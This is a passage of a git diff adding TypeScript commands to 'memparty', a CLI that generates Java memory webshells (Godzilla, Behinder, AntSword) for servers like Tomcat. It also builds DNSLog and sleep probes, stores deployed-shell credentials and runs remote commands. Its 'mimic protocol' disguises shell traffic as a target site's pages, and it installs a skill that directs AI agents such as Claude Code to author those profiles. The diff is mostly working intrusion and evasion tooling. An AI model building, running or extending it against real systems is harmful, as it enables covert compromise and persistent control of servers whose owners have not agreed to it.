+ packer: o.packer!,
+ jdk: o.jdk,
+ debug: o.debug,
+ byPassJavaModule: o.bypassModule,
+ shrink: o.shrink,
+ lambdaSuffix: o.lambdaSuffix,
+ probe: o.probe,
+ shellClassName: o.shellClassName,
+ godzillaPass: o.godzillaPass,
+ godzillaKey: o.godzillaKey,
+ behinderPass: o.behinderPass,
+ antSwordPass: o.antswordPass,
+ commandParamName: o.commandParamName,
+ commandTemplate: o.commandTemplate,
+ encryptor: o.encryptor,
+ implementationClass: o.implementationClass,
+ headerName: o.headerName,
+ headerValue: o.headerValue,
+ shellClassBase64,
+ urlPattern: o.urlPattern,
+ injectorClassName: o.injectorClassName,
+ staticInitialize: o.staticInitialize,
+ };
+}
+
+export function registerGenCommand(program: Command): void {
+ program
+ .command("gen")
+ .alias("generate")
+ .description("Generate a memory shell. Runs an interactive wizard when required flags are missing.")
+ .option("-s, --server ", "target server, e.g. Tomcat")
+ .option("--server-version ", "target server version")
+ .option("-t, --tool ", "shell tool, e.g. Godzilla, Behinder, Command")
+ .option("-y, --type ", "shell type, e.g. Listener, Filter, Servlet")
+ .option("-p, --packer ", "packer, e.g. Base64, Jar, JSP")
+ .option("--jdk ", "target JDK: java6/8/9/11/17/21, or a class-file major version")
+ .option("--debug", "enable debug output in the payload")
+ .option("--bypass-module", "bypass Java module restrictions")
+ .option("--no-shrink", "disable bytecode shrinking (enabled by default)")
+ .option("--lambda-suffix", "append a lambda class-name suffix")
+ .option("--probe", "use echo/probe mode")
+ .option("--shell-class-name ", "explicit shell class name (random if omitted)")
+ .option("--godzilla-pass ", "Godzilla password")
+ .option("--godzilla-key ", "Godzilla key")
+ .option("--behinder-pass ", "Behinder password")
+ .option("--antsword-pass ", "AntSword password")
+ .option("--command-param-name ", "Command tool parameter name")
+ .option("--command-template ", "Command template ({command} placeholder)")
+ .option("--encryptor ", "Command encryptor")
+ .option("--implementation-class ", "Command implementation class")
+ .option("--header-name ", "auth header name")
+ .option("--header-value ", "auth header value")
+ .option("--shell-class-base64 ", "custom shell class (base64) for the Custom tool")
+ .option("--shell-class-file ", "custom shell .class file for the Custom tool")
+ .option("--url-pattern ", "injector URL pattern")
+ .option("--injector-class-name ", "explicit injector class name")
+ .option("--no-static-initialize", "disable injector static initialization (enabled by default)")
+ .option("-o, --output ", "write payload to a file instead of stdout")
+ .addOption(new Option("--decode", "base64-decode the payload before writing"))
+ .addOption(new Option("--no-decode", "do not base64-decode the payload"))
+ .option("--json", "print the full JSON response instead of just the payload")
+ .option("-i, --interactive", "force the interactive wizard")
+ .option("--no-interactive", "never launch the wizard; error on missing flags")
+ .addHelpText(
+ "after",
+ `
+Examples:
+ $ memparty gen # interactive wizard
+ $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\
+ --godzilla-pass pass --godzilla-key key --jdk java8
+ $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\
+ --godzilla-pass pass --godzilla-key key -o shell.class
+ $ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
+ $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
+
+Note: run 'memparty config' to list the available servers, tools, shell
+types and packers. Some packers (e.g. Base64) are aggregate packers that
+return several variants at once — pick a leaf packer (e.g. DefaultBase64)
+for a single payload. The --json output includes the gate header
+(shellToolConfig) you need for 'memparty connect' / 'memparty exec'.
+`,
+ )
+ .action(async (opts: GenCmdOptions, cmd: Command) => {
+ const client = createClient(cmd.optsWithGlobals());
+
+ const missing = REQUIRED.filter((k) => !opts[k]);
+ const stdinIsTty = Boolean(process.stdin.isTTY);
+ const wantWizard =
+ opts.interactive === true ||
+ (opts.interactive !== false && missing.length > 0 && stdinIsTty);
+
+ let memOpts: MemShellOptions;
+ if (wantWizard) {
+ memOpts = await runMemShellWizard(client);
+ } else {
+ if (missing.length > 0) {
+ throw new Error(
+ `Missing required option(s): ${missing.map((m) => `--${m}`).join(", ")}. ` +
+ `Run in a terminal for the wizard, or pass -i.`,
+ );
+ }
+ memOpts = toOptions(opts);
+ }
+
+ const request = buildMemShellRequest(memOpts);
+ // safe summary for the op log — parameters only, never credentials
+ const genMeta = {
+ server: memOpts.server,
+ serverVersion: memOpts.serverVersion,
+ shellTool: memOpts.shellTool,
+ shellType: memOpts.shellType,
+ packer: memOpts.packer,
+ jdk: memOpts.jdk,
+ };
+ const started = Date.now();
+ let response;
+ try {
+ response = await client.generateMemShell(request);
+ } catch (err) {
+ logOp({
+ category: "gen",
+ action: "gen",
+ ok: false,
+ durationMs: Date.now() - started,
+ error: err instanceof Error ? err.message : String(err),
+ meta: genMeta,
+ });
+ throw err;
+ }
+ logOp({
+ category: "gen",
+ action: "gen",
+ ok: true,
+ durationMs: Date.now() - started,
+ detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
+ meta: genMeta,
+ });
+
+ if (opts.json) {
+ process.stdout.write(`${JSON.stringify(response, null, 2)}\n`);
+ return;
+ }
+
+ const r = response.memShellResult;
+ logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);
+ logInfo(`injector class: ${r.injectorClassName} (${r.injectorSize} bytes)`);
+
+ if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
+ for (const [name, value] of Object.entries(response.allPackResults)) {
+ logInfo(`\n=== ${name} ===`);
+ process.stdout.write(`${value}\n`);
+ }
+ return;
+ }
+
+ if (response.packResult === undefined) {
+ throw new Error("Server returned no packResult.");
+ }
+
+ const result = emitPayload(response.packResult, {
+ outFile: opts.output,
+ decode: opts.decode,
+ });
+ if (result.destination !== "stdout") {
+ logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? " (base64-decoded)" : ""}`);
+ }
+ });
+}
diff --git a/tools/cli/src/commands/log.ts b/tools/cli/src/commands/log.ts
new file mode 100644
index 00000000..0b9828c2
--- /dev/null
+++ b/tools/cli/src/commands/log.ts
@@ -0,0 +1,65 @@
+import { Command, Option } from "commander";
+
+import { formatOp, opLogPath, readOps, type OpCategory } from "../core/oplog.js";
+
+interface LogCmdOptions {
+ category?: OpCategory;
+ target?: string;
+ limit?: string;
+ json?: boolean;
+}
+
+export function registerLogCommand(program: Command): void {
+ program
+ .command("log")
+ .description("Show the global operation log")
+ .addOption(
+ new Option("--category ", "filter by operation category").choices([
+ "gen",
+ "probe",
+ "connect",
+ "exec",
+ "download",
+ "upload",
+ "save",
+ "note",
+ "remove",
+ ]),
+ )
+ .option(
+ "--target ",
+ "filter by target: project name, project/shell, or a URL substring (e.g. host)",
+ )
+ .option("--limit ", "max entries (default 50)", "50")
+ .option("--json", "output raw JSON entries (newest first)")
+ .addHelpText(
+ "after",
+ `
+Examples:
+ $ memparty log # latest 50 operations
+ $ memparty log --category exec # only command executions
+ $ memparty log --category save # only target saves
+ $ memparty log --target web1 # everything against project web1
+ $ memparty log --category exec --target 192.0.2.10 --json
+`,
+ )
+ .action((opts: LogCmdOptions) => {
+ const limit = Number.parseInt(opts.limit ?? "50", 10);
+ const entries = readOps({
+ category: opts.category,
+ target: opts.target,
+ limit: Number.isNaN(limit) ? 50 : limit,
+ });
+ if (opts.json) {
+ process.stdout.write(`${JSON.stringify({ logPath: opLogPath(), entries }, null, 2)}\n`);
+ return;
+ }
+ if (entries.length === 0) {
+ process.stdout.write(`no operations logged yet (log: ${opLogPath()})\n`);
+ return;
+ }
+ for (const entry of entries) {
+ process.stdout.write(`${formatOp(entry)}\n`);
+ }
+ });
+}
diff --git a/tools/cli/src/commands/mcp.ts b/tools/cli/src/commands/mcp.ts
new file mode 100644
index 00000000..92b43460
--- /dev/null
+++ b/tools/cli/src/commands/mcp.ts
@@ -0,0 +1,17 @@
+import { Command } from "commander";
+
+import { createClient, type GlobalOptions, logInfo } from "../cli-context.js";
+import { startMcpStdio } from "../mcp/server.js";
+import { resolveApiUrl } from "../core/config.js";
+
+export function registerMcpCommand(program: Command): void {
+ program
+ .command("mcp")
+ .description("Run as an MCP server over stdio (exposes generation + config tools)")
+ .action(async (_opts: GlobalOptions, cmd: Command) => {
+ const globals = cmd.optsWithGlobals();
+ const client = createClient(globals);
+ logInfo(`memshell-party MCP server starting (api: ${resolveApiUrl({ flag: globals.api })})`);
+ await startMcpStdio(client);
+ });
+}
diff --git a/tools/cli/src/commands/parse-classname.ts b/tools/cli/src/commands/parse-classname.ts
new file mode 100644
index 00000000..5fa91990
--- /dev/null
+++ b/tools/cli/src/commands/parse-classname.ts
@@ -0,0 +1,40 @@
+import { readFileSync } from "node:fs";
+
+import { Command } from "commander";
+
+import { createClient, type GlobalOptions } from "../cli-context.js";
+
+interface ParseCmdOptions extends GlobalOptions {
+ file?: string;
+}
+
+export function registerParseClassNameCommand(program: Command): void {
+ program
+ .command("parse-classname")
+ .description("Parse the fully-qualified class name from a .class file")
+ .argument("[base64]", "base64-encoded .class bytes (omit when using --file)")
+ .option("-f, --file ", "read a .class file from disk instead of passing base64")
+ .addHelpText(
+ "after",
+ `
+Examples:
+ $ memparty parse-classname -f shell.class
+ $ memparty parse-classname "$(memparty gen -s Tomcat -t Command -y Filter \\
+ -p DefaultBase64 --command-param-name cmd)"
+`,
+ )
+ .action(async (base64: string | undefined, opts: ParseCmdOptions, cmd: Command) => {
+ let classBase64: string;
+ if (opts.file) {
+ classBase64 = readFileSync(opts.file).toString("base64");
+ } else if (base64) {
+ classBase64 = base64.trim();
+ } else {
+ throw new Error("Provide base64 bytes as an argument or use --file .");
+ }
+
+ const client = createClient(cmd.optsWithGlobals());
+ const name = await client.parseClassName(classBase64);
+ process.stdout.write(`${name}\n`);
+ });
+}
diff --git a/tools/cli/src/commands/probe.ts b/tools/cli/src/commands/probe.ts
new file mode 100644
index 00000000..2f125183
--- /dev/null
+++ b/tools/cli/src/commands/probe.ts
@@ -0,0 +1,178 @@
+import { Command, Option } from "commander";
+
+import { createClient, type GlobalOptions, logInfo } from "../cli-context.js";
+import { logOp } from "../core/oplog.js";
+import { emitPayload } from "../core/output.js";
+import { buildProbeRequest, type ProbeOptions } from "../core/request-builder.js";
+import { runProbeWizard } from "../wizard/probe-wizard.js";
+
+interface ProbeCmdOptions extends GlobalOptions {
+ method?: string;
+ content?: string;
+ packer?: string;
+ jdk?: string;
+ debug?: boolean;
+ bypassModule?: boolean;
+ shrink?: boolean;
+ lambdaSuffix?: boolean;
+ staticInitialize?: boolean;
+ shellClassName?: string;
+ host?: string;
+ seconds?: string;
+ sleepServer?: string;
+ server?: string;
+ reqParamName?: string;
+ commandTemplate?: string;
+ output?: string;
+ decode?: boolean;
+ json?: boolean;
+ interactive?: boolean;
+}
+
+const REQUIRED = ["method", "content", "packer"] as const;
+
+function toOptions(o: ProbeCmdOptions): ProbeOptions {
+ return {
+ probeMethod: o.method!,
+ probeContent: o.content!,
+ packer: o.packer!,
+ jdk: o.jdk,
+ debug: o.debug,
+ byPassJavaModule: o.bypassModule,
+ shrink: o.shrink,
+ lambdaSuffix: o.lambdaSuffix,
+ staticInitialize: o.staticInitialize,
+ shellClassName: o.shellClassName,
+ host: o.host,
+ seconds: o.seconds !== undefined ? Number(o.seconds) : undefined,
+ sleepServer: o.sleepServer,
+ server: o.server,
+ reqParamName: o.reqParamName,
+ commandTemplate: o.commandTemplate,
+ };
+}
+
+export function registerProbeCommand(program: Command): void {
+ program
+ .command("probe")
+ .description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.")
+ .option("-m, --method ", "probe method: ResponseBody, DNSLog, Sleep")
+ .option("-c, --content ", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command")
+ .option("-p, --packer ", "packer, e.g. Base64, JSP")
+ .option("--jdk ", "target JDK: java6/8/9/11/17/21, or a class-file major version")
+ .option("--debug", "enable debug output")
+ .option("--bypass-module", "bypass Java module restrictions")
+ .option("--no-shrink", "disable bytecode shrinking (enabled by default)")
+ .option("--lambda-suffix", "append a lambda class-name suffix")
+ .option("--no-static-initialize", "disable static initialization (enabled by default)")
+ .option("--shell-class-name ", "explicit shell class name")
+ .option("--host ", "DNSLog host (DNSLog method)")
+ .option("--seconds ", "sleep seconds (Sleep method)")
+ .option("--sleep-server ", "server to fingerprint (Sleep method)")
+ .option("--server ", "server (ResponseBody method)")
+ .option("--req-param-name ", "request param name (ResponseBody method)")
+ .option("--command-template ", "command template ({command} placeholder)")
+ .option("-o, --output ", "write payload to a file instead of stdout")
+ .addOption(new Option("--decode", "base64-decode the payload before writing"))
+ .addOption(new Option("--no-decode", "do not base64-decode the payload"))
+ .option("--json", "print the full JSON response instead of just the payload")
+ .option("-i, --interactive", "force the interactive wizard")
+ .option("--no-interactive", "never launch the wizard; error on missing flags")
+ .addHelpText(
+ "after",
+ `
+Examples:
+ $ memparty probe # interactive wizard
+ $ memparty probe -m ResponseBody -c Command -p DefaultBase64 \\
+ --server Tomcat --req-param-name cmd
+ $ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn
+ $ memparty probe -m Sleep -c Server -p DefaultBase64 \\
+ --sleep-server Tomcat --seconds 5
+
+Note: a probe is a detection shell that reports what the target supports.
+The server name reported by '-c Server' is the value to pass as
+'memparty gen -s'.
+`,
+ )
+ .action(async (opts: ProbeCmdOptions, cmd: Command) => {
+ const client = createClient(cmd.optsWithGlobals());
+
+ const missing = REQUIRED.filter((k) => !opts[k]);
+ const stdinIsTty = Boolean(process.stdin.isTTY);
+ const wantWizard =
+ opts.interactive === true ||
+ (opts.interactive !== false && missing.length > 0 && stdinIsTty);
+
+ let probeOpts: ProbeOptions;
+ if (wantWizard) {
+ probeOpts = await runProbeWizard(client);
+ } else {
+ if (missing.length > 0) {
+ throw new Error(
+ `Missing required option(s): ${missing.map((m) => `--${m}`).join(", ")}. ` +
+ `Run in a terminal for the wizard, or pass -i.`,
+ );
+ }
+ probeOpts = toOptions(opts);
+ }
+
+ const request = buildProbeRequest(probeOpts);
+ const probeMeta = {
+ probeMethod: probeOpts.probeMethod,
+ probeContent: probeOpts.probeContent,
+ packer: probeOpts.packer,
+ jdk: probeOpts.jdk,
+ };
+ const started = Date.now();
+ let response;
+ try {
+ response = await client.generateProbe(request);
+ } catch (err) {
+ logOp({
+ category: "probe",
+ action: "probe",
+ ok: false,
+ durationMs: Date.now() - started,
+ error: err instanceof Error ? err.message : String(err),
+ meta: probeMeta,
+ });
+ throw err;
+ }
+ logOp({
+ category: "probe",
+ action: "probe",
+ ok: true,
+ durationMs: Date.now() - started,
+ detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
+ meta: probeMeta,
+ });
+
+ if (opts.json) {
+ process.stdout.write(`${JSON.stringify(response, null, 2)}\n`);
+ return;
+ }
+
+ const r = response.probeShellResult;
+ logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);
+
+ if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
+ for (const [name, value] of Object.entries(response.allPackResults)) {
+ logInfo(`\n=== ${name} ===`);
+ process.stdout.write(`${value}\n`);
+ }
+ return;
+ }
+
+ if (response.packResult === undefined) {
+ throw new Error("Server returned no packResult.");
+ }
+
+ const result = emitPayload(response.packResult, {
+ outFile: opts.output,
+ decode: opts.decode,
+ });
+ if (result.destination !== "stdout") {
+ logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? " (base64-decoded)" : ""}`);
+ }
+ });
+}
diff --git a/tools/cli/src/commands/profile.ts b/tools/cli/src/commands/profile.ts
new file mode 100644
index 00000000..4165a061
--- /dev/null
+++ b/tools/cli/src/commands/profile.ts
@@ -0,0 +1,121 @@
+import { Command } from "commander";
+
+import { reportError, type GlobalOptions } from "../cli-context.js";
+import {
+ listProfiles,
+ loadProfile,
+ profilePath,
+ profileRequests,
+ profileSkeleton,
+ profileTemplates,
+ saveProfile,
+} from "../core/site-profile.js";
+
+interface ProfileCmdOptions extends GlobalOptions {
+ site?: string;
+ json?: boolean;
+}
+
+/**
+ * `memparty profile` — manage site profiles for the mimic protocol.
+ * Profiles are hand-written (by the operator or an AI agent); this command
+ * only scaffolds, lists and inspects them.
+ */
+export function registerProfileCommand(program: Command): void {
+ const cmd = program
+ .command("profile")
+ .description("Manage site profiles for the mimic protocol (init / list / show / check)");
+
+ cmd.command("init")
+ .description("Write a skeleton profile JSON for hand-authoring")
+ .argument("", "profile name (letters, digits, '.', '_', '-')")
+ .requiredOption("--site ", "site origin, e.g. http://target:8080")
+ .option("--json", "output raw JSON")
+ .action((name: string, opts: ProfileCmdOptions) => {
+ try {
+ const profile = profileSkeleton(name, opts.site!);
+ saveProfile(profile);
+ if (opts.json) {
+ process.stdout.write(`${JSON.stringify({ ok: true, ...profile }, null, 2)}\n`);
+ } else {
+ process.stdout.write(
+ `profile skeleton written -> ${profilePath(name)}\n` +
+ `now edit it: paste a real page's HTML into "template", set "title",\n` +
+ `and fill "paths" with the site's path vocabulary (e.g. ["/api/", "/news/"]).\n` +
+ `AI agents: read the site's pages yourself and pick a high-traffic,\n` +
+ `self-contained page — see the "Site-mimicking traffic (mimic protocol)"\n` +
+ `section of the memshell-party skill.\n`,
+ );
+ }
+ } catch (err) {
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ }
+ });
+
+ cmd.command("list")
+ .description("List saved profiles")
+ .option("--json", "output raw JSON")
+ .action((opts: ProfileCmdOptions) => {
+ const names = listProfiles();
+ if (opts.json) {
+ process.stdout.write(`${JSON.stringify({ profiles: names }, null, 2)}\n`);
+ } else {
+ process.stdout.write(names.length > 0 ? `${names.join("\n")}\n` : "(no profiles yet)\n");
+ }
+ });
+
+ cmd.command("show")
+ .description("Print a saved profile")
+ .argument("", "profile name")
+ .option("--json", "output raw JSON (default)")
+ .action((name: string) => {
+ try {
+ const profile = loadProfile(name);
+ process.stdout.write(`${JSON.stringify(profile, null, 2)}\n`);
+ } catch (err) {
+ reportError(err instanceof Error ? err.message : String(err), []);
+ process.exitCode = 1;
+ }
+ });
+
+ cmd.command("check")
+ .description("Validate a saved profile (schema + basic sanity), exit 0 when valid")
+ .argument("", "profile name")
+ .option("--json", "output raw JSON")
+ .addHelpText(
+ "after",
+ `
+Examples:
+ $ memparty profile check acme
+ $ memparty profile check acme --json
+`,
+ )
+ .action((name: string, opts: ProfileCmdOptions) => {
+ try {
+ const profile = loadProfile(name); // load validates
+ if (opts.json) {
+ process.stdout.write(`${JSON.stringify({ ok: true, name }, null, 2)}\n`);
+ } else {
+ const templates = profileTemplates(profile);
+ const lines = templates.map(
+ (t, i) => ` tpl[${i}]: ${t.template.length} bytes (${t.contentType}) ${t.title || "(no title)"}`,
+ );
+ const shapes = profileRequests(profile)
+ .map((r) => `${r.secretField}${r.secretIn && r.secretIn !== "body" ? ` (${r.secretIn})` : ""}`)
+ .join(", ");
+ const requestLine = shapes ? ` request: ${shapes}\n` : "";
+ process.stdout.write(
+ `profile '${name}' is valid\n` +
+ ` site: ${profile.site}\n` +
+ `${lines.join("\n")}\n` +
+ requestLine +
+ ` paths: ${profile.paths.join(" ") || "(none — --dynamic-path will be a no-op)"}\n`,
+ );
+ }
+ } catch (err) {
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ }
+ });
+}
diff --git a/tools/cli/src/commands/skill.ts b/tools/cli/src/commands/skill.ts
new file mode 100644
index 00000000..cefe876a
--- /dev/null
+++ b/tools/cli/src/commands/skill.ts
@@ -0,0 +1,78 @@
+import { Command } from "commander";
+
+import { logInfo, reportError, type GlobalOptions } from "../cli-context.js";
+import { logOp } from "../core/oplog.js";
+import { installSkill, type SkillScope } from "../core/skill-install.js";
+
+interface SkillInstallCmdOptions extends GlobalOptions {
+ user?: boolean;
+ claude?: boolean;
+ project?: string | boolean;
+ json?: boolean;
+}
+
+/**
+ * `memparty skill install` — copy the bundled agent skill into an agent's
+ * skill directory so the mimic/memshell workflow shows up in its skill list.
+ */
+export function registerSkillCommand(program: Command): void {
+ program
+ .command("skill")
+ .description("Manage the bundled agent skill (skills/memshell-party)")
+ .addCommand(
+ new Command("install")
+ .description("Install the memshell-party skill into an agent's skill directory")
+ .option("--user", "install to ~/.agents/skills (default)")
+ .option("--claude", "install to ~/.claude/skills (Claude Code)")
+ .option("--project [dir]", "install to /skills (default: current directory)")
+ .option("--json", "output raw JSON")
+ .addHelpText(
+ "after",
+ `
+The package ships skills/memshell-party/SKILL.md — the workflow guide that
+teaches an agent how to write site profiles, build custom shells and connect.
+This command copies it where agents look for skills. Re-run after a CLI
+upgrade to refresh the skill. Restart/rescan your agent to pick it up.
+
+Examples:
+ $ memparty skill install # ~/.agents/skills/memshell-party
+ $ memparty skill install --claude # ~/.claude/skills/memshell-party
+ $ memparty skill install --project # ./skills/memshell-party
+ $ memparty skill install --user --claude # both
+`,
+ )
+ .action((opts: SkillInstallCmdOptions) => {
+ const scopes: SkillScope[] = [];
+ if (opts.user) scopes.push("user");
+ if (opts.claude) scopes.push("claude");
+ if (opts.project !== undefined && opts.project !== false) {
+ scopes.push("project");
+ }
+ if (scopes.length === 0) scopes.push("user");
+
+ const projectDir = typeof opts.project === "string" ? opts.project : undefined;
+ try {
+ const results = installSkill(scopes, { projectDir });
+ logOp({
+ category: "gen",
+ action: "skill-install",
+ ok: true,
+ detail: results.map((r) => `${r.scope}:${r.dir}`).join(", "),
+ });
+ if (opts.json) {
+ process.stdout.write(`${JSON.stringify({ ok: true, installed: results }, null, 2)}\n`);
+ return;
+ }
+ for (const r of results) {
+ logInfo(`installed [${r.scope}] ${r.dir} (${r.files.join(", ")})`);
+ }
+ process.stdout.write(
+ "\nskill installed — restart or rescan your agent to pick it up.\n",
+ );
+ } catch (err) {
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ }
+ }),
+ );
+}
diff --git a/tools/cli/src/commands/target.ts b/tools/cli/src/commands/target.ts
new file mode 100644
index 00000000..d22c1b5a
--- /dev/null
+++ b/tools/cli/src/commands/target.ts
@@ -0,0 +1,250 @@
+import { Command, Option } from "commander";
+
+import {
+ getProject,
+ listProjects,
+ removeProject,
+ removeShell,
+ saveProjectMeta,
+ saveShell,
+ saveShellMeta,
+ targetStorePath,
+ type ShellInput,
+} from "../core/targets.js";
+import { logOp } from "../core/oplog.js";
+
+interface TargetSaveOptions {
+ url?: string;
+ tool?: string;
+ pass?: string;
+ key?: string;
+ headerName?: string;
+ headerValue?: string;
+ header?: string[];
+ insecure?: boolean;
+ remark?: string;
+ category?: string;
+ shellRemark?: string;
+ json?: boolean;
+}
+
+function parseExtraHeaders(lines: string[] | undefined): Record {
+ const headers: Record = {};
+ for (const line of lines ?? []) {
+ const idx = line.indexOf(":");
+ if (idx <= 0) {
+ throw new Error(`invalid header ${JSON.stringify(line)}, expected "Name: value"`);
+ }
+ headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();
+ }
+ return headers;
+}
+
+function parseRef(ref: string): { project: string; shell?: string } {
+ const slash = ref.indexOf("/");
+ if (slash === -1) return { project: ref };
+ return { project: ref.slice(0, slash), shell: ref.slice(slash + 1) };
+}
+
+function listTargets(opts: { category?: string; json?: boolean }): void {
+ const all = listProjects();
+ const names = Object.keys(all).filter(
+ (n) => opts.category === undefined || all[n]!.category === opts.category,
+ );
+ if (opts.json) {
+ const filtered: Record = {};
+ for (const n of names) filtered[n] = all[n];
+ process.stdout.write(`${JSON.stringify(filtered, null, 2)}\n`);
+ return;
+ }
+ if (names.length === 0) {
+ process.stdout.write(`no saved projects (store: ${targetStorePath()})\n`);
+ return;
+ }
+ for (const name of names) {
+ const p = all[name]!;
+ const meta =
+ [p.category ? `[${p.category}]` : undefined, p.remark].filter(Boolean).join(" ");
+ process.stdout.write(`${name}${meta ? ` ${meta}` : ""}\n`);
+ for (const [shellName, s] of Object.entries(p.shells)) {
+ const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;
+ process.stdout.write(`${line}${s.remark ? ` — ${s.remark}` : ""}\n`);
+ }
+ }
+}
+
+export function registerTargetCommand(program: Command): void {
+ program
+ .command("save")
+ .description(
+ "Save a shell connection profile as / (overwrites an existing shell)",
+ )
+ .argument("[", "shell reference: ]/")
+ .requiredOption("-u, --url ", "URL of the deployed shell")
+ .addOption(
+ new Option("-t, --tool ", "shell tool").choices(["godzilla", "behinder", "suo5"]),
+ )
+ .option("--pass ", "password")
+ .option("--key ", "godzilla key")
+ .option("--header-name ", "gate header name (shellToolConfig.headerName)")
+ .option("--header-value ", "gate header value (shellToolConfig.headerValue)")
+ .option("-H, --header ", 'extra request header, e.g. -H "Cookie: a=b"')
+ .option("-k, --insecure", "skip TLS certificate verification")
+ .option("--remark ", "project remark (merged into the project)")
+ .option("--category ", "project category (merged into the project)")
+ .option("--shell-remark ", "remark for this shell")
+ .option("--json", "output raw JSON")
+ .addHelpText(
+ "after",
+ `
+Examples:
+ $ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \\
+ -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \\
+ --remark "内网测试环境" --category test
+ $ memparty list # show saved targets
+ $ memparty exec web1/bh9060 --cmd "whoami"
+
+Note: connect/exec already auto-save a verified shell as /;
+save is for choosing the name by hand.
+`,
+ )
+ .action((ref: string, opts: TargetSaveOptions) => {
+ const { project, shell } = parseRef(ref);
+ if (!shell) {
+ process.stderr.write(
+ `Error: expected /, got ${JSON.stringify(ref)}\n`,
+ );
+ process.exitCode = 1;
+ return;
+ }
+ if (!opts.tool) {
+ process.stderr.write("Error: --tool is required (godzilla | behinder | suo5)\n");
+ process.exitCode = 1;
+ return;
+ }
+ if (opts.remark !== undefined || opts.category !== undefined) {
+ saveProjectMeta(project, { remark: opts.remark, category: opts.category });
+ }
+ const input: ShellInput = {
+ url: opts.url!,
+ tool: opts.tool as ShellInput["tool"],
+ pass: opts.pass,
+ key: opts.key,
+ headerName: opts.headerName,
+ headerValue: opts.headerValue,
+ extraHeaders: parseExtraHeaders(opts.header),
+ insecure: opts.insecure || undefined,
+ remark: opts.shellRemark,
+ };
+ const stored = saveShell(project, shell, input);
+ logOp({
+ category: "save",
+ action: "save",
+ targetName: `${project}/${shell}`,
+ url: stored.url,
+ tool: stored.tool,
+ ok: true,
+ detail: "saved",
+ meta: {
+ projectRemark: opts.remark,
+ projectCategory: opts.category,
+ shellRemark: opts.shellRemark,
+ },
+ });
+ if (opts.json) {
+ process.stdout.write(
+ `${JSON.stringify({ project, shell, ...stored }, null, 2)}\n`,
+ );
+ } else {
+ process.stdout.write(
+ `saved ${project}/${shell} (${stored.tool} ${stored.url}) -> ${targetStorePath()}\n`,
+ );
+ }
+ });
+
+ program
+ .command("note")
+ .description("Set a remark/category on a project, or a remark on a shell ([/])")
+ .argument("[", "project name or ]/")
+ .option("--remark ", 'remark ("" to clear)')
+ .option("--category ", 'project category ("" to clear; projects only)')
+ .action((ref: string, opts: { remark?: string; category?: string }) => {
+ const { project, shell } = parseRef(ref);
+ if (shell) {
+ if (opts.category !== undefined) {
+ process.stderr.write("Error: --category only applies to projects\n");
+ process.exitCode = 1;
+ return;
+ }
+ if (opts.remark === undefined) {
+ process.stderr.write("Error: nothing to set — pass --remark\n");
+ process.exitCode = 1;
+ return;
+ }
+ const updated = saveShellMeta(project, shell, { remark: opts.remark });
+ logOp({
+ category: "note",
+ action: "note",
+ targetName: `${project}/${shell}`,
+ ok: true,
+ detail: `remark=${updated.remark ?? "-"}`,
+ });
+ process.stdout.write(`${project}/${shell}: remark=${updated.remark ?? "-"}\n`);
+ return;
+ }
+ if (opts.remark === undefined && opts.category === undefined) {
+ process.stderr.write("Error: nothing to set — pass --remark and/or --category\n");
+ process.exitCode = 1;
+ return;
+ }
+ const existing = getProject(project);
+ if (!existing) {
+ process.stderr.write(`Error: unknown project ${JSON.stringify(project)}\n`);
+ process.exitCode = 1;
+ return;
+ }
+ const updated = saveProjectMeta(project, {
+ remark: opts.remark,
+ category: opts.category,
+ });
+ logOp({
+ category: "note",
+ action: "note",
+ targetName: project,
+ ok: true,
+ detail: `category=${updated.category ?? "-"} remark=${updated.remark ?? "-"}`,
+ });
+ process.stdout.write(
+ `${project}: category=${updated.category ?? "-"} remark=${updated.remark ?? "-"}\n`,
+ );
+ });
+
+ program
+ .command("list")
+ .description("List saved projects and their shells")
+ .option("--category ", "only show projects in this category")
+ .option("--json", "output raw JSON")
+ .action(listTargets);
+
+ program
+ .command("remove")
+ .description("Remove a whole project or a single shell ([/])")
+ .argument("[", "project name or ]/")
+ .action((ref: string) => {
+ const { project, shell } = parseRef(ref);
+ const removed = shell ? removeShell(project, shell) : removeProject(project);
+ logOp({
+ category: "remove",
+ action: "remove",
+ targetName: ref,
+ ok: removed,
+ detail: removed ? "removed" : "unknown target",
+ });
+ if (removed) {
+ process.stdout.write(`removed ${ref}\n`);
+ } else {
+ process.stderr.write(`Error: unknown target ${JSON.stringify(ref)}\n`);
+ process.exitCode = 1;
+ }
+ });
+}
diff --git a/tools/cli/src/commands/transfer.ts b/tools/cli/src/commands/transfer.ts
new file mode 100644
index 00000000..94038844
--- /dev/null
+++ b/tools/cli/src/commands/transfer.ts
@@ -0,0 +1,357 @@
+import { writeFileSync } from "node:fs";
+
+import { Command, Option } from "commander";
+
+import { logInfo, reportError, type GlobalOptions } from "../cli-context.js";
+import {
+ protocolNames,
+ requireProtocol,
+ unsupportedMessage,
+ type ProtocolOptions,
+} from "../connect/registry.js";
+import type {
+ CommonConnectOptions,
+ DownloadResult,
+ TransferResult,
+} from "../connect/types.js";
+import { readUploadFile, resolveDownloadPath } from "../core/localfile.js";
+import { logOp } from "../core/oplog.js";
